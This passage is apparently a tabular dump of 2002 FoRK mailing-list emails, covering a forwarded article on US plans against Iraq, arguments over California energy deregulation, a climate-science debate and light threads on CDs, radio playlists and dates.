lock them in even more."" The first, but by no means the last, obvious manifestation of a new American foreign policy will be the effort to remove Saddam Hussein. What the United States does in an Iraq operation will very likely dwarf what's been done so far in Afghanistan, both in terms of the scale of the operation itself and in terms of its aftermath. Several weeks ago, Ahmad Chalabi, the head of the Iraqi National Congress, the Iraqi opposition party, came through Washington with an entourage of his aides. Chalabi went to the State Department and the White House to ask, evidently successfully, for more American funding. His main public event was a panel discussion at the American Enterprise Institute. Chalabi's leading supporter in town, Richard Perle, the prominent hawk and former Defense Department official, acted as moderator. Smiling and supremely confident, Perle opened the discussion by saying, ""Evidence is mounting that the Administration is looking very carefully at strategies for dealing with Saddam Hussein."" The war on terrorism, he said, will not be complete ""until Saddam is successfully dealt with. And that means replacing his regime. . . . That action will be taken, I have no doubt."" Chalabi, who lives in London, is a charming, suave middle-aged man with a twinkle in his eye. He was dressed in a double-breasted pin-striped suit and a striped shirt with a white spread collar. Although he and his supporters argue that the Iraqi National Congress, with sufficient American support, can defeat Saddam just as the Northern Alliance defeated the Taliban in Afghanistan, this view hasn't won over most people in Washington. It isn't just that Chalabi doesn't look the part of a rebel military leader (""He could fight you for the last petit four on the tray over tea at the Savoy, but that's about it,"" one skeptical former Pentagon official told me), or that he isn't in Iraq. It's also that Saddam's military is perhaps ten times the size that the Taliban's was, and has been quite successful at putting down revolts over the last decade. The United States left Iraq in 1991 believing that Saddam might soon fall to an internal rebellion; Chalabi's supporters believe that Saddam is much weaker now, and that even signs that a serious operation was in the offing could finish him off. But non-true believers seem to be coming around to the idea that a military operation against Saddam would mean the deployment of anywhere from a hundred thousand to three hundred thousand American ground troops. Kenneth Pollack, a former C.I.A. analyst who was the National Security Council's staff expert on Iraq during the last years of the Clinton Administration, recently caused a stir in the foreign-policy world by publishing an article in Foreign Affairs calling for war against Saddam. This was noteworthy because three years ago Pollack and two co-authors published an article, also in Foreign Affairs, arguing that the Iraqi National Congress was incapable of defeating Saddam. Pollack still doesn't think Chalabi can do the job. He believes that it would require a substantial American ground, air, and sea force, closer in size to the one we used in Kuwait in 1990-91 than to the one we are using now in Afghanistan. Pollack, who is trim, quick, and crisp, is obviously a man who has given a briefing or two in his day. When I went to see him at his office in Washington, with a little encouragement he got out from behind his desk and walked over to his office wall, where three maps of the Middle East were hanging. ""The only way to do it is a full-scale invasion,"" he said, using a pen as a pointer. ""We're talking about two grand corps, two to three hundred thousand people altogether. The population is here, in the Tigris-Euphrates valley."" He pointed to the area between Baghdad and Basra. ""Ideally, you'd have the Saudis on board."" He pointed to the Prince Sultan airbase, near Riyadh. ""You could make Kuwait the base, but it's much easier in Saudi. You need to take western Iraq and southern Iraq""-pointing again-""because otherwise they'll fire Scuds at Israel and at the Saudi oil fields. You probably want to prevent Iraq from blowing up its own oil fields, so troops have to occupy them. And you need troops to defend the Kurds in northern Iraq."" Point, point. ""You go in as hard as you can, as fast as you can."" He slapped his hand on the top of his desk. ""You get the enemy to divide his forces, by threatening him in two places at once."" His hand hit the desk again, hard. ""Then you crush him."" Smack. That would be a reverberating blow. The United States has already removed the government of one country, Afghanistan, the new government is obviously shaky, and American military operations there are not completed. Pakistan, which before September 11th clearly met the new test of national unacceptability (it both harbors terrorists and has weapons of mass destruction), will also require long-term attention, since the country is not wholly under the control of the government, as the murder of Daniel Pearl demonstrated, and even parts of the government, like the intelligence service, may not be entirely under the control of the President. In Iraq, if America invades and brings down Saddam, a new government must be established-an enormous long-term task in a country where there is no obvious, plausible new leader. The prospective Iraq operation has drawn strong objections from the neighboring nations, one of which, Russia, is a nuclear superpower. An invasion would have a huge effect on the internal affairs of all the biggest Middle Eastern nations: Iran, Turkey, Saudi Arabia, and even Egypt. Events have forced the Administration to become directly involved in the Israeli-Palestinian conflict, as it hadn't wanted to do. So it's really the entire region that is in play, in much the way that Europe was immediately after the Second World War. In September, Bush rejected Paul Wolfowitz's recommendation of immediate moves against Iraq. That the President seems to have changed his mind is an indication, in part, of the bureaucratic skill of the Administration's conservatives. ""These guys are relentless,"" one former official, who is close to the high command at the State Department, told me. ""Resistance is futile."" The conservatives' other weapon, besides relentlessness, is intellectualism. Colin Powell tends to think case by case, and since September 11th the conservatives have outflanked him by producing at least the beginning of a coherent, hawkish world view whose acceptance practically requires invading Iraq. If the United States applies the doctrines of Cheney's old Pentagon team, ""shaping"" and expanding ""the zone of democracy,"" the implications would extend far beyond that one operation. The outside experts on the Middle East who have the most credibility with the Administration seem to be Bernard Lewis, of Princeton, and Fouad Ajami, of the Johns Hopkins School of Advanced International Studies, both of whom see the Arab Middle East as a region in need of radical remediation. Lewis was invited to the White House in December to brief the senior foreign-policy staff. ""One point he made is, Look, in that part of the world, nothing matters more than resolute will and force,"" the senior official I had lunch with told me-in other words, the United States needn't proceed gingerly for fear of inflaming the ""Arab street,"" as long as it is prepared to be strong. The senior official also recommended as interesting thinkers on the Middle East Charles Hill, of Yale, who in a recent essay declared, ""Every regime of the Arab-Islamic world has proved a failure,"" and Reuel Marc Gerecht, of the American Enterprise Institute, who published an article in The Weekly Standard about the need for a change of regime in Iran and Syria. (Those goals, Gerecht told me when we spoke, could be accomplished through pressure short of an invasion.) Several people I spoke with predicted that most, or even all, of the nations that loudly oppose an invasion of Iraq would privately cheer it on, if they felt certain that this time the Americans were really going to finish the job. One purpose of Vice-President Cheney's recent diplomatic tour of the region was to offer assurances on that matter, while gamely absorbing all the public criticism of an Iraq operation. In any event, the Administration appears to be committed to acting forcefully in advance of the world's approval. When I spoke to Condoleezza Rice, she said that the United States should assemble ""coalitions of the willing"" to support its actions, rather than feel it has to work within the existing infrastructure of international treaties and organizations. An invasion of Iraq would test that policy in more ways than one: the Administration would be betting that it can continue to eliminate Al Qaeda cells in countries that publicly opposed the Iraq operation. When the Administration submitted its budget earlier this year, it asked for a forty-eight-billion-dollar increase in defense spending for fiscal 2003, which begins in October, 2002. Much of that sum would go to improve military pay and benefits, but ten billion dollars of it is designated as an unspecified contingency fund for further operations in the war on terrorism. That's probably at least the initial funding for an invasion of Iraq. This spring, the Administration will be talking to other countries about the invasion, trying to secure basing and overflight privileges, while Bush builds up a rhetorical case for it by giving speeches about the unacceptability of developing weapons of mass destruction. A drama involving weapons inspections in Iraq will play itself out over the spring and summer, and will end with the United States declaring that the terms that Saddam offers for the inspections, involving delays and restrictions, are unacceptable. Then, probably in the late summer or early fall, the enormous troop positioning, which will take months, will begin. The Administration obviously feels confident that the United States can effectively parry whatever aggressive actions Saddam takes during the troop buildup, and hopes that its moves will destabilize Iraq enough to cause the Republican Guard, the military key to the country, to turn against Saddam and topple him on its own. But the chain of events leading inexorably to a full-scale American invasion, if it hasn't already begun, evidently will begin soon. Lewis (Scooter) Libby, who was the principal drafter of Cheney's future-of-the-world documents during the first Bush Administration, now works in an office in the Old Executive Office Building, overlooking the West Wing, where he has a second, smaller office. A packet of public-relations material prompted by the recent paperback publication of his 1996 novel, ""The Apprentice,"" quotes the Times' calling him ""Dick Cheney's Dick Cheney,"" which seems like an apt description: he appears absolutely sure of himself, and, whether by coincidence or as a result of the influence of his boss, speaks in a tough, confidential, gravelly rumble. Like Condoleezza Rice and Bush himself, he gives the impression of having calmly accepted the idea that the project of war and reconstruction which the Administration has now taken on may be a little exhausting for those charged with carrying it out but is unquestionably right, the only truly prudent course. When I went to see Libby, not long ago, I asked him whether, before September 11th, American policy toward terrorism should have been different. He went to his desk and got out a large black loose-leaf binder, filled with typewritten sheets interspersed with foldout maps of the Middle East. He looked through it for a long minute, formulating his answer. ""Let us stack it up,"" he said at last. ""Somalia, 1993; 1994, the discovery of the Al Qaeda-related plot in the Philippines; 1993, the World Trade Center, first bombing; 1993, the attempt to assassinate President Bush, former President Bush, and the lack of response to that, the lack of a serious response to that; 1995, the Riyadh bombing; 1996, the Khobar bombing; 1998, the Kenyan embassy bombing and the Tanzanian embassy bombing; 1999, the plot to launch millennium attacks; 2000, the bombing of the Cole. Throughout this period, infractions on inspections by the Iraqis, and eventually the withdrawal of the entire inspection regime; and the failure to respond significantly to Iraqi incursions in the Kurdish areas. No one would say these challenges posed easy problems, but if you take that long list and you ask, 'Did we respond in a way which discouraged people from supporting terrorist activities, or activities clearly against our interests? Did we help to shape the environment in a way which discouraged further aggressions against U.S. interests?,' many observers conclude no, and ask whether it was then easier for someone like Osama bin Laden to rise up and say credibly, 'The Americans don't have the stomach to defend themselves. They won't take casualties to defend their interests. They are morally weak.' "" Libby insisted that the American response to September 11th has not been standard or foreordained. ""Look at what the President has done in Afghanistan,"" he said, ""and look at his speech to the joint session of Congress""-meaning the State of the Union Message, in January. ""He made it clear that it's an important area. He made it clear that we believe in expanding the zone of democracy even in this difficult part of the world. He made it clear that we stand by our friends and defend our interests. And he had the courage to identify those states which present a problem, and to begin to build consensus for action that would need to be taken if there is not a change of behavior on their part. Take the Afghan case, for example. There are many other courses that the President could have taken. He could have waited for juridical proof before we responded. He could have engaged in long negotiations with the Taliban. He could have failed to seek a new relationship with Pakistan, based on its past nuclear tests, or been so afraid of weakening Pakistan that we didn't seek its help. This list could go on to twice or three times the length I've mentioned so far. But, instead, the President saw an opportunity to refashion relations while standing up for our interests. The problem is complex, and we don't know yet how it will end, but we have opened new prospects for relations not only with Afghanistan, as important as it was as a threat, but with the states of Central Asia, Pakistan, Russia, and, as it may develop, with the states of Southwest Asia more generally."" We moved on to Iraq, and the question of what makes Saddam Hussein unacceptable, in the Administration's eyes. ""The issue is not inspections,"" Libby said. ""The issue is the Iraqis' promise not to have weapons of mass destruction, their promise to recognize the boundaries of Kuwait, their promise not to threaten other countries, and other promises that they made in '91, and a number of U.N. resolutions, including all the other problems I listed. Whether it was wise or not-and that is the subject of debate-Iraq was given a second chance to abide by international norms. It failed to take that chance then, and annually for the next ten years."" ""What's your level of confidence,"" I asked him, ""that the current regime will, in fact, change its behavior in a way that you will be satisfied by?"" He ran his hand over his face and then gave me a direct gaze and spoke slowly and deliberately. ""There is no basis in Iraq's past behavior to have confidence in good-faith efforts on their part to change their behavior."" -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 James Rogers ,fork@spamassassin.taint.org,24 Sep 2002 08:40:17 -0700,RE: liberal defnitions,"This situation wouldn't have happened in the first place if California didn't have economically insane regulations. They created a regulatory climate that facilitated this. So yes, it is the product of over-regulation. -James Rogers jamesr@best.com On Tue, 2002-09-24 at 05:17, Geege Schuman wrote: > from slate's ""today's papers"": > The New York Times and Los Angeles Times both lead with word that > a federal judge ruled yesterday that the nation's largest > national gas pipeline company, El Paso, illegally withheld gas > from the market during California's energy squeeze in 2000-01. > The judge concluded that El Paso left 21 percent of its capacity > in the state off-line, thus driving up the price of gas and > helping to induce rolling blackouts. > > and this is the product of overregulation?",0,0 Eugen Leitl ,forkit! ,"Tue, 24 Sep 2002 18:01:44 +0200 (CEST)",Re: [s-t] Scoot boss's wife orders hit.,"---------- Forwarded message ---------- Date: Mon, 23 Sep 2002 09:52:44 -0700 From: mis@seiden.com Subject: Re: [s-t] Scoot boss's wife orders hit. the ""independent"", a shopper's newspaper in the sf bay area, (the operational definition of that media category is ""no matter how hard you try you can't get them to stop delivering it"") had this story on aug 24, 2002: ""Dot-com downturn linked to domestic violence"" Domestic-violence worker Kathy Black remembers watching the Nasdaq take a nastydive on MSNBC, in March 2000. ""I knew then that we would have a lot of work on our hands,"" Black said, referring to the caseload at La Casa de las Madres, the city's largest organization serving women and children affected by domestic violence. She was right. Calls to La Casa's crisis line increased by 33% in the last financial year, and the service saw a 10 percent increase in the demand for beds, with 232 women and 215 children utilizing the shelter service. ... Black said the dot-com collapse and a growing awareness of La Casa's services were the two main reasons for the increase in calls. She said many of her clients had partners who were employed in service-industry jobs utilized by dot-com workers ... On Mon, Sep 23, 2002 at 04:23:17PM +0100, Gordon Joly wrote: > > > > http://news.bbc.co.uk/1/low/england/2276467.stm > > > Woman admits trying to hire hitman > > The former wife of an internet tycoon has admitted trying to hire a > hitman to kill him after the breakdown of their 21-year marriage. > > > -- > Linux User No. 256022/// > http://pobox.com/~gordo/ > gordon.joly@pobox.com///",0,1 """John Hall"" ","""FoRK"" ","Tue, 24 Sep 2002 09:03:00 -0700",RE: liberal defnitions,"Yes, it is. You just want to be called a liberal when you really aren't. > -----Original Message----- > From: Geege Schuman [mailto:geege@barrera.org] > Sent: Tuesday, September 24, 2002 5:12 AM > To: johnhall@evergo.net; FoRK > Subject: RE: liberal defnitions > > per john hall: > ""The opinion that EITHER we are spending too much OR we have too much > regulation is pretty > much anathema to liberal politics."" > > no it's not. > > geege > >",0,0 ThosStew@aol.com,fork@spamassassin.taint.org,"Tue, 24 Sep 2002 12:09:26 EDT",Re: liberal defnitions,"In a message dated 9/24/2002 11:24:58 AM, jamesr@best.com writes: >This situation wouldn't have happened in the first place if California >didn't have economically insane regulations. They created a regulatory >climate that facilitated this. So yes, it is the product of >over-regulation. > Which is to say, if you reduce the argument to absurdity, that law causes crime. (Yes, I agree that badly written law can make life so frustrating that people have little choice but to subvery it if they want to get anything done. This is also true of corporate policies, and all other attempts to regulate conduct by rules. Rules just don't work well when situations are fluid or ambiguous. But I don't think that the misbehavior of energy companies in California can properly be called well-intentioned lawbreaking by parties who were trying to do the right thing but could do so only by falling afoul of some technicality.) If you want to get to root causes, we should probably go to the slaying of Abel by Cain. Perhaps we can figure out what went wrong then, and roll our learning forward through history and create a FoRKtopia. Nonpartisanly, which is to say casting stones on all houses, whether bicameral or unicameral, built on sand or on rock, to the left of them or to the right of them, of glass or brick or twig or straw, Tom",0,0 James Rogers ,fork@spamassassin.taint.org,24 Sep 2002 09:42:42 -0700,CO2 and climate (was RE: Goodbye Global Warming),"On Mon, 2002-09-23 at 13:53, Jim Whitehead wrote: > > You have not explained why the increase in CO2 concentrations is not > contributing to increasing global temperature. There are a number of reasons to think that CO2 is not important to controlling global temperature and that much of the CO2 increase may not be anthropogenic. Some recent research points worth mentioning: Recent high-resolution studies of historical CO2 concentrations and temperatures over hundreds of thousands of years have shown a modest correlation between the two. In a number of cases, CO2 level increases are not in phase with temperature increases and actually trail the increase in temperature by a short time i.e. increases in temperature preceded increases in CO2 concentrations. The more studies that are done of the geological record, the more it seems that CO2 concentrations are correlated with temperature increases, but are not significantly causative. There is a lot of evidence that CO2 levels are regulated in a fairly stable fashion. I don't believe anyone really has an authoritative answer as to exactly how this works yet. With respect to absolute CO2 concentrations, it is also important to point out that our best data to date suggests that they follow a fairly regular cycle with a period of about 100,000 years. At previous cycle peaks, the concentrations were similar to what they are now. If this cycle has any validity (and we only have good data for 4-5 complete cyclical periods, but which look surprisingly regular in shape and time), then we should be almost exactly at a peak right now. As it happens, current CO2 concentrations are within 10% of other previous cyclical concentration peaks for which we have good data. In other words, we may be adding to the CO2 levels, but it looks a lot like we would be building a molehill on top of a mountain in the historical record. At the very least, there is nothing anomalous about current CO2 concentrations. Also, CO2 levels interact with the biosphere in a manner that ultimately affects temperature. Again, the interaction is not entirely predictable, but this is believed to be one of the regulating negative feedback systems mentioned above. Last, as greenhouse gases go, CO2 isn't particularly potent, although it makes up for it in volume in some cases. Gases such as water and methane have a far greater impact as greenhouse gases on a per molecule basis. Water vapor may actually be the key greenhouse gas, something that CO2 only indirectly effects through its interaction with the biosphere. CO2 was an easy mark for early environmentalism, but all the recent studies and data I've seen gives me the impression that it is largely a passenger on the climate ride rather than the driver. I certainly don't think it is a healthy fixation if we're actually interested in understanding warming trends. Cheers, -James Rogers jamesr@best.com",0,0 """John Hall"" ","""FoRK"" ","Tue, 24 Sep 2002 12:11:52 -0700",RE: liberal defnitions,"Read the article. I'm afraid I don't understand how the transmission prices could have hit $50/tcf. But I'm also really leery of telling a pipeline company they have to run a pipeline at a higher pressure and that they should forego maintenance. We had a big pipeline explosion up here awhile ago. So maybe the judge has a point. We'll see as the appeals work its way out. > -----Original Message----- > From: Geege Schuman [mailto:geege@barrera.org] > Sent: Tuesday, September 24, 2002 5:16 AM > To: johnhall@evergo.net > Subject: RE: liberal defnitions > > from slate's ""today's papers"": The New York Times and Los Angeles Times > both lead with word that > a federal judge ruled yesterday that the nation's largest > national gas pipeline company, El Paso, illegally withheld gas > from the market during California's energy squeeze in 2000-01. > The judge concluded that El Paso left 21 percent of its capacity > in the state off-line, thus driving up the price of gas and > helping to induce rolling blackouts. > > and this is the product of overregulation? > > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of John > Hall > Sent: Monday, September 23, 2002 11:57 PM > To: FoRK > Subject: liberal defnitions > > > Depends on how much over spending vs. how much (and what type) over > regulation. > > The biggest problem with over regulation is the costs can be invisible. > It also has the ability to single out particular people, while over > spending spreads the damage more evenly. Rent control would be an > example of a regulation solution that is in general worse than spending > tons of money on public housing. > > As for the definition of a liberal being someone who seeks to impose > both, I find no fault in that definition whatsoever. The opinion that > EITHER we are spending too much OR we have too much regulation is pretty > much anathema to liberal politics. > > Finally, those who argue that there are private replacements for much > government regulation are not saying that a state of nature (no private > replacements, no government regulation) is better than government > regulation itself. > > And in my experience people who label themselves 'Green' (which does not > include everyone who loves trees and thinks smokestacks are ugly) is a > watermelon. > > > > > > -----Original Message----- > > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of > Geege > > Schuman > > > > funny. i read it as green = red, as in accounting, as in fiscally > > irresponsible. which do you think is the worse indictment - > > overregulation > > or overspending? there are many (dickheads) who buy into the > > neo-conservative media's (fox's) definiton of ""liberal"" as ""one who > seeks > > to > > impose both."" > > >",0,0 Dave Long ,fork@spamassassin.taint.org,"Tue, 24 Sep 2002 13:28:04 -0700",Re: SF Weekly's Ultimate SF Date lineup :-),"> Proving, once again, that aviators get all the chicks... Just as long as they have the wherewithal for avgas, anyway. I think Turpin once calculated that one could do a decent amount of messing about for about $30K of boat and $12K/year in living expenses. What are the equivalent figures for live aboard aircraft? -Dave (How difficult would it be to find the harbormaster, after mooring to the top of the Empire State Building?)",0,0 Rohit Khare ,fork@spamassassin.taint.org,"Tue, 24 Sep 2002 15:47:23 -0700",Random hack Q: drawing on CDs with lasers?,"O utensils of the world -- I wonder if it is possible to reverse-engineer the Reed-Solomon error-correcting codes to create a bytestream such that, when burned onto a CD, you can make out a picture in the diffraction pattern? I suppose this is a modern equivalent to line-printer artwork; I was imagining using a CD-RW drive to use the outer track, say, to spell out the disc title, creation time, etc. It would sure beat feeding CDs through a laser printer :-) Rohit",0,0 Eugen Leitl ,Rohit Khare ,"Wed, 25 Sep 2002 03:09:05 +0200 (CEST)",Re: Random hack Q: drawing on CDs with lasers?,"On Tue, 24 Sep 2002, Rohit Khare wrote: > I suppose this is a modern equivalent to line-printer artwork; I was > imagining using a CD-RW drive to use the outer track, say, to spell out > the disc title, creation time, etc. It would sure beat feeding CDs > through a laser printer :-) There are commercial burners which can be labeled that way. Patterns in the unburnt section.",0,0 """Geege Schuman"" ",,"Tue, 24 Sep 2002 21:36:35 -0400",Liberalism in America,"This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C26412.7545C1D0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit liberalism propagandized as meddling in truth, the middle ""American liberalism believes that in this respect it has made a major contribution to the grand strategy of freedom. Where both capitalists and socialists in the 1930's were trying to narrow the choice to either/or -- either laissez-faire capitalism or bureaucratic socialism -- the New Deal persisted in its vigorous faith that human intelligence and social experiment could work out a stable foundation for freedom in a context of security and for security in a context of freedom. That faith remains the best hope of free society today."" fluid yet crunchy, gg http://www.english.upenn.edu/~afilreis/50s/schleslib.html ------=_NextPart_000_0005_01C26412.7545C1D0 Content-Type: application/octet-stream; name=""Liberalism in America.url"" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=""Liberalism in America.url"" [DEFAULT] BASEURL=http://www.english.upenn.edu/~afilreis/50s/schleslib.html [InternetShortcut] URL=http://www.english.upenn.edu/~afilreis/50s/schleslib.html Modified=E0824ED43364C201DE ------=_NextPart_000_0005_01C26412.7545C1D0--",0,1 """R. A. Hettinga"" ",fork@spamassassin.taint.org,"Tue, 24 Sep 2002 21:34:55 -0400",Re: SF Weekly's Ultimate SF Date lineup :-),"Righ, somebody. Reminds me of the old Divorced Man's exposition of what happened to him. ""First, you get a ring. Then you give it away. Then, you get a house. And you give *that* away...."" Just kidding, Darling... ;-). Cheers, RAH Who, um, doesn't own a house... --- begin forwarded text Date: Tue, 24 Sep 2002 20:12:12 -0400 From: Somebody To: ""R. A. Hettinga"" Subject: Re: SF Weekly's Ultimate SF Date lineup :-) Bob, Living aboard a Cessna 172 would be challenging, but I did meet a couple at an airshow in Point Mugu in 1995 or so that had converted an old seaplane (it was a bit larger than a PBY, I think) to something of a floating, flying RV. They visited a lot of airshows and covered a lot of miles. I'm sure maintenance (on a 50+ year old airframe), fuel (for two large radial engines) insurance and other costs were out of my price range, but what a hoot! On a more realistic note, the flight to Half Moon bay was probably 2 hours of flight time at about $75/hour in the Cessna. Not exactly a cheap date, but that's nothing compared to the money I've spent on her since. (And loved every minute of it, Darling!!) ""R. A. Hettinga"" wrote: > --- begin forwarded text > > Status: RO > Delivered-To: fork@spamassassin.taint.org > To: fork@spamassassin.taint.org > Subject: Re: SF Weekly's Ultimate SF Date lineup :-) > From: Dave Long > Sender: fork-admin@xent.com > Date: Tue, 24 Sep 2002 13:28:04 -0700 > > > Proving, once again, that aviators get all the chicks... > > Just as long as they have the wherewithal > for avgas, anyway. > > I think Turpin once calculated that one > could do a decent amount of messing about > for about $30K of boat and $12K/year in > living expenses. > > What are the equivalent figures for live > aboard aircraft? > > -Dave > > (How difficult would it be to find the > harbormaster, after mooring to the top > of the Empire State Building?) > > --- end forwarded text > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > ""... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Rohit Khare ,Fork@xent.com,"Wed, 25 Sep 2002 01:19:59 -0700",Digital radio playlists are prohibited?!,"Anyone heard of this law before? > Q. Can I get a playlist? > A. We are unable to offer a playlist. The Digital Performance Right in > Sound Recordings Act of 1995 passed by Congress prevents us from > disclosing such information. The Digital Law states that if one is > transmitting a digital signal, song information cannot be > pre-announced. It is a Music Choice policy not to release a playlist of > upcoming or previously played songs. Recently, MusicChoice upgraded their website with a very important service, as far as I'm concerned: real-time song info from their website. My DirecTV receiver is up on a shelf (and its display scrolls intermittently); and I'm surely not going to fire up my projector while listening to the ""radio"", so I'm quite happy that I can retrieve r/t song info with URLs like: http://backstage.musicchoice.com/songid/channels/soundsoftheseasons.asp http://backstage.musicchoice.com/songid/channels/rap.asp http://backstage.musicchoice.com/songid/channels/opera.asp etc... Now, if I were a more eager hacker, I'd write up little WSDL stubs for these event streams (they're clearly not worried about load, since their own web pages specify 15 sec meta-refresh) and then feed 'em through a content router to alert me to cool songs. Heck, cross-reference the service to CDDB and... :-) RK",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Wed, 25 Sep 2002 10:35:59 +0200 (CEST)",Re: SF Weekly's Ultimate SF Date lineup :-),"Russell Turpin wrote: >Invite her for an afternoon cruise under the Golden Gate bridge in >your Stonehorse day sailor. Sounds good. >Under way, ask her if she'd like to take the stick. Whoah! That's a rather direct approach! R. A. Hettinga quoted: >From: Somebody >[...] what I did in 1983 was to rent a plane from the Moffett Field >flying club and take her on an aerial tour Sounds great. >I can't recall whether or not I gave her any stick time. Can't remember if he's in the mile-high club? Even worse!!! R",0,0 Lucas Gonze ,,"Wed, 25 Sep 2002 14:20:26 -0400 (EDT)",Re: The Great Power-Shortage Myth,"> The only circumstances in which a business will not be ready--indeed, > eager--to do an additional volume of business is if it is physically unable > to do so because it lacks the necessary physical means of doing so, or > because the costs it incurs in doing so exceed the additional sales revenue > it will receive. That is a fully retarded view of economics, and pretty much the same kind of clueless oversimplication that led to the blackouts. There are a bazillion factors that affect game strategies, which is what the state of California messed up and the energy producers exploited. I'm not convinced that the only way to prevent future energy debacles like the blackouts is to reregulate. Ultimately we have to blame the people who crafted the game rules in a way that invited blackouts and exploitation. Given that the particular set of rules crafted by the state of California sucked, does there exist a set of rules that doesn't suck? If there does exist a better set of rules, then reregulation isn't necessarily the answer. You can't blame businesses for being profit maximizers. Yes, the people involved were heartless and corrupt. But mainly they just did their jobs. The guilty parties are either the mathematicians and economists who wrote the rules or, if the mathematicians and economists said there were no good rules, pro-deregulation politicians who went ahead anyway. - Lucas",0,0 """R. A. Hettinga"" ",fork@spamassassin.taint.org,"Wed, 25 Sep 2002 15:39:40 -0400",California needs intelligent energy deregulation,"--- begin forwarded text Date: Wed, 25 Sep 2002 13:57:15 -0400 To: Digital Bearer Settlement List From: ""R. A. Hettinga"" Subject: California needs intelligent energy deregulation Sender: http://www.siliconvalley.com/mld/siliconvalley/4144696.htm?template=contentModules/printstory.jsp Posted on Tue, Sep. 24, 2002 Dan Gillmor: State needs intelligent energy deregulation By Dan Gillmor Mercury News Technology Columnist The facts were trade and government secrets at the time. But the energy industry failed the smell test in 2000 and 2001 as it tried to justify soaring wholesale electricity and natural-gas prices in California. Now, as investigators and regulators unravel the reasons for a financial and fiscal mess we'll be cleaning up for decades, we're learning what everyone suspected. Market games helped engineer the price spikes. The latest manipulation was highlighted in Monday's finding by a federal administrative law judge, who said a dominant natural-gas company squeezed supplies in order to squeeze customers. His ruling came a few days after California's Public Utilities Commission reported that electricity generators mysteriously failed to use available capacity during the crunch, also driving up prices. And don't forget the sleazy games by energy traders who gleefully worked the system, in schemes best summed up by an Enron insider's boast in a memorandum made public in May, that ``Enron gets paid for moving energy to relieve congestion without actually moving any energy or relieving any congestion.'' How much of this was illegal, as opposed to simply amoral, remains to be seen. Unfortunately, California's response -- confusion, lawsuits and policy tweaks -- hasn't been sufficient. More unfortunately, even if the state suddenly did all the right things -- including a hard-nosed program designed to free ourselves from the gougers' grips -- we would need a willing federal partner. But it's foolish to think that the Bush administration would do much to help one of its least favorite states, or do anything that conflicts with its love of traditional, non-renewable energy sources. If the lawsuits against various energy companies and traders bear any fruit, the best we can expect is to pay off some of the massive debts the state amassed to prevent a total collapse in early 2001. That's a reasonable approach, but don't expect miracles. State policies are moving the wrong way on utility regulation, meanwhile. Instead of relentlessly pursuing smart deregulation -- still a good idea if it gives customers genuine choices -- state laws and regulations ``put the utilities back in the business of buying energy for captive customers,'' notes V. John White, executive director of the Sacramento-based Center for Energy Efficiency and Renewable Technologies (www.ceert.org). It's tempting to call for an outright state takeover of the utilities -- tempting but a bad idea. When there's genuine competition, as we could achieve in electricity generation, the private sector tends to do a better job. Instead of abandoning deregulation, California should find a way to inject real competition into the market. We do need to recognize that the current system of delivering electricity defies privatization, at least under current conditions. Smart regulation is essential. But the best response to gouging is to use less of what the gougers control. There are two ways: conservation and replacement. We need more of both. The best recent step is a new state law that slowly but surely ratchets up the use of electricity from renewables. By 2017, California's utilities will have to get 20 percent of their power from solar and other renewable sources. Several power companies are expected to do this even sooner. But this law has an element of old-line thinking, the captive-customer model we need to be getting away from, not sustaining. Lip service to newer ideas isn't enough. The state should be removing barriers to micro-generation systems, small generators that can run on a variety of fuels and provide decentralized, harder-to-disrupt electricity to homes and businesses. This technology is coming along fast. State policies are not keeping pace. Investing to save energy is increasingly the smartest move of all. California should be doing more to encourage this, whether through tax incentives or outright grants in low-income households. California hasn't done badly on conservation in a general sense, and energy customers did react to last year's soaring rates and blackouts by cutting back, but it's lunacy to wait for the next crisis when we can do something to avoid it altogether. Maybe this is all pointless. The Bush administration's energy policies, so grossly tilted toward the unholy trinity of oil, coal and nuclear, are making us all more vulnerable. Never mind what might happen if the coming war in Iraq goes badly. It's pointless to hope for a sane federal policy -- a crash program to drastically speed the inevitable transition to a hydrogen-based energy system. But the largest state, one of the world's major economies in its own right, does have some clout. We can hit the rip-off artists where it hurts, and protect ourselves from even more serious disruptions. Maybe next year. -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """Jim Whitehead"" ",,"Wed, 25 Sep 2002 10:56:41 -0700",RE: CO2 and climate (was RE: Goodbye Global Warming),"OK, let's bring some data into the discussion: http://www.grida.no/climate/vital/02.htm (A graph, derived from Vostok ice core samples, of CO2 and temperature fluctuations over the past 400k years). > Recent high-resolution studies of historical CO2 concentrations and > temperatures over hundreds of thousands of years have shown a modest > correlation between the two. In a number of cases, CO2 level increases > are not in phase with temperature increases and actually trail the > increase in temperature by a short time i.e. increases in temperature > preceded increases in CO2 concentrations. The more studies that are done > of the geological record, the more it seems that CO2 concentrations are > correlated with temperature increases, but are not significantly > causative. Based on the Vostok data, you are right, there is a very strong correlation between temperature and CO2 concentrations, but it doesn't always appear to be causal. > With respect to absolute CO2 concentrations, it is also important to > point out that our best data to date suggests that they follow a fairly > regular cycle with a period of about 100,000 